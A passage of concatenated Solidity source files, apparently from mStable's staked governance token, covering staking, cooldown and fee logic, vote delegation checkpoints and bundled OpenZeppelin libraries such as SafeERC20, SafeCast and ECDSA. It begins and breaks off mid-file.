/**
* @dev Allows governance to blacklist a smart contract to end it's interaction with the StakedToken
* @param _wrapper Address of the smart contract to blacklist
**/
function blackListWrapper(address _wrapper) external onlyGovernor {
whitelistedWrappers[_wrapper] = false;
emit WrapperBlacklisted(_wrapper);
}
/***************************************
BACKWARDS COMPATIBILITY
****************************************/
/**
* @dev Allows for backwards compatibility with createLock fn, giving basic args to stake
* @param _value Units to stake
**/
function createLock(
uint256 _value,
uint256 /* _unlockTime */
) external {
_transferAndStake(_value, address(0), false);
}
/**
* @dev Allows for backwards compatibility with increaseLockAmount fn by simply staking more
* @param _value Units to stake
**/
function increaseLockAmount(uint256 _value) external {
require(balanceOf(_msgSender()) != 0, "Nothing to increase");
_transferAndStake(_value, address(0), false);
}
/**
* @dev Backwards compatibility. Previously a lock would run out and a user would call this. Now, it will take 2 calls
* to exit in order to leave. The first will initiate the cooldown period, and the second will execute a full withdrawal.
**/
function exit() external virtual {
// Since there is no immediate exit here, this can be called twice
// If there is no cooldown, or the cooldown has passed the unstake window, enter cooldown
uint128 ts = _balances[_msgSender()].cooldownTimestamp;
if (ts == 0 || block.timestamp > ts + COOLDOWN_SECONDS + UNSTAKE_WINDOW) {
(uint256 raw, uint256 cooldownUnits) = rawBalanceOf(_msgSender());
_startCooldown(raw + cooldownUnits);
}
// Else withdraw all available
else {
_withdraw(_balances[_msgSender()].cooldownUnits, _msgSender(), true, false);
}
}
/***************************************
GETTERS
****************************************/
/**
* @dev fee = sqrt(300/x)-2.5, where x = weeks since user has staked
* @param _weightedTimestamp The users weightedTimestamp
* @return _feeRate where 1% == 1e16
*/
function calcRedemptionFeeRate(uint32 _weightedTimestamp)
public
view
returns (uint256 _feeRate)
{
uint256 weeksStaked = ((block.timestamp - _weightedTimestamp) * 1e18) / ONE_WEEK;
if (weeksStaked > 3e18) {
// e.g. weeks = 1 = sqrt(300e18) = 17320508075
// e.g. weeks = 10 = sqrt(30e18) = 5477225575
// e.g. weeks = 26 = sqrt(11.5) = 3391164991
_feeRate = Root.sqrt(300e36 / weeksStaked) * 1e7;
// e.g. weeks = 1 = 173e15 - 25e15 = 148e15 or 14.8%
// e.g. weeks = 10 = 55e15 - 25e15 = 30e15 or 3%
// e.g. weeks = 26 = 34e15 - 25e15 = 9e15 or 0.9%
_feeRate = _feeRate < 25e15 ? 0 : _feeRate - 25e15;
} else {
_feeRate = 75e15;
}
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../deps/GamifiedTokenStructs.sol";
interface IStakedToken {
// GETTERS
function COOLDOWN_SECONDS() external view returns (uint256);
function UNSTAKE_WINDOW() external view returns (uint256);
function STAKED_TOKEN() external view returns (IERC20);
function getRewardToken() external view returns (address);
function pendingAdditionalReward() external view returns (uint256);
function whitelistedWrappers(address) external view returns (bool);
function balanceData(address _account) external view returns (Balance memory);
function balanceOf(address _account) external view returns (uint256);
function rawBalanceOf(address _account) external view returns (uint256, uint256);
function calcRedemptionFeeRate(uint32 _weightedTimestamp)
external
view
returns (uint256 _feeRate);
function safetyData()
external
view
returns (uint128 collateralisationRatio, uint128 slashingPercentage);
function delegates(address account) external view returns (address);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getVotes(address account) external view returns (uint256);
// HOOKS/PERMISSIONED
function applyQuestMultiplier(address _account, uint8 _newMultiplier) external;
// ADMIN
function whitelistWrapper(address _wrapper) external;
function blackListWrapper(address _wrapper) external;
function changeSlashingPercentage(uint256 _newRate) external;
function emergencyRecollateralisation() external;
function setGovernanceHook(address _newHook) external;
// USER
function stake(uint256 _amount) external;
function stake(uint256 _amount, address _delegatee) external;
function stake(uint256 _amount, bool _exitCooldown) external;
function withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) external;
function delegate(address delegatee) external;
function startCooldown(uint256 _units) external;
function endCooldown() external;
function reviewTimestamp(address _account) external;
function claimReward() external;
function claimReward(address _to) external;
// Backwards compatibility
function createLock(uint256 _value, uint256) external;
function exit() external;
function increaseLockAmount(uint256 _value) external;
function increaseLockLength(uint256) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { MathUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { ECDSAUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import { GamifiedToken } from "./GamifiedToken.sol";
import { IGovernanceHook } from "./interfaces/IGovernanceHook.sol";
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @title GamifiedVotingToken
* @notice GamifiedToken is a checkpointed Voting Token derived from OpenZeppelin "ERC20VotesUpgradable"
* @author mStable
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/f9cdbd7d82d45a614ee98a5dc8c08fb4347d0fea/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol
* Changes:
* - Inherits custom GamifiedToken rather than basic ERC20
* - Removal of `Permit` functionality & `delegatebySig`
* - Override `delegates` fn as described in their docs
* - Prettier formatting
* - Addition of `totalSupply` method to get latest totalSupply
* - Move totalSupply checkpoints to `afterTokenTransfer`
* - Add _governanceHook hook
*/
abstract contract GamifiedVotingToken is Initializable, GamifiedToken {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
IGovernanceHook private _governanceHook;
event GovernanceHookChanged(address indexed hook);
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
bool _hasPriceCoeff
) GamifiedToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) {}
function __GamifiedVotingToken_init() internal initializer {}
/**
* @dev
*/
function setGovernanceHook(address _newHook) external onlyGovernor {
_governanceHook = IGovernanceHook(_newHook);
emit GovernanceHookChanged(_newHook);
}
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos)
public
view
virtual
returns (Checkpoint memory)
{
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
// Override as per https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol#L23
// return _delegates[account];
address delegatee = _delegates[account];
return delegatee == address(0) ? account : delegatee;
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Total sum of all scaled balances
*/
function totalSupply() public view override returns (uint256) {
uint256 len = _totalSupplyCheckpoints.length;
if (len == 0) return 0;
return _totalSupplyCheckpoints[len - 1].votes;
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber)
private
view
returns (uint256)
{
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
return _delegate(_msgSender(), delegatee);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
// mint or burn, update total supply
if (from == address(0) || to == address(0)) {
_writeCheckpoint(_totalSupplyCheckpoints, to == address(0) ? _subtract : _add, amount);
}
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(
_checkpoints[src],
_subtract,
amount
);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(
_checkpoints[dst],
_add,
amount
);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
if (address(_governanceHook) != address(0)) {
_governanceHook.moveVotingPowerHook(src, dst, amount);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(
Checkpoint({
fromBlock: SafeCast.toUint32(block.number),
votes: SafeCast.toUint224(newWeight)
})
);
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
library Root {
/**
* @dev Returns the square root of a given number
* @param x Input
* @return y Square root of Input
*/
function sqrt(uint256 x) internal pure returns (uint256 y) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint256(r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract InitializableReentrancyGuard {
bool private _notEntered;
function _initializeReentrancyGuard() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
struct Balance {
/// units of staking token that has been deposited and consequently wrapped
uint88 raw;
/// (block.timestamp - weightedTimestamp) represents the seconds a user has had their full raw balance wrapped.
/// If they deposit or withdraw, the weightedTimestamp is dragged towards block.timestamp proportionately
uint32 weightedTimestamp;
/// multiplier awarded for staking for a long time
uint8 timeMultiplier;
/// multiplier duplicated from QuestManager
uint8 questMultiplier;
/// Time at which the relative cooldown began
uint32 cooldownTimestamp;
/// Units up for cooldown
uint88 cooldownUnits;
}
struct QuestBalance {
/// last timestamp at which the user made a write action to this contract
uint32 lastAction;
/// permanent multiplier applied to an account, awarded for PERMANENT QuestTypes
uint8 permMultiplier;
/// multiplier that decays after each "season" (~9 months) by 75%, to avoid multipliers getting out of control
uint8 seasonMultiplier;
}
/// @notice Quests can either give permanent rewards or only for the season
enum QuestType {
PERMANENT,
SEASONAL
}
/// @notice Quests can be turned off by the questMaster. All those who already completed remain
enum QuestStatus {
ACTIVE,
EXPIRED
}
struct Quest {
/// Type of quest rewards
QuestType model;
/// Multiplier, from 1 == 1.01x to 100 == 2.00x
uint8 multiplier;
/// Is the current quest valid?
QuestStatus status;
/// Expiry date in seconds for the quest
uint32 expiry;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute.
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(
uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value"
);
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
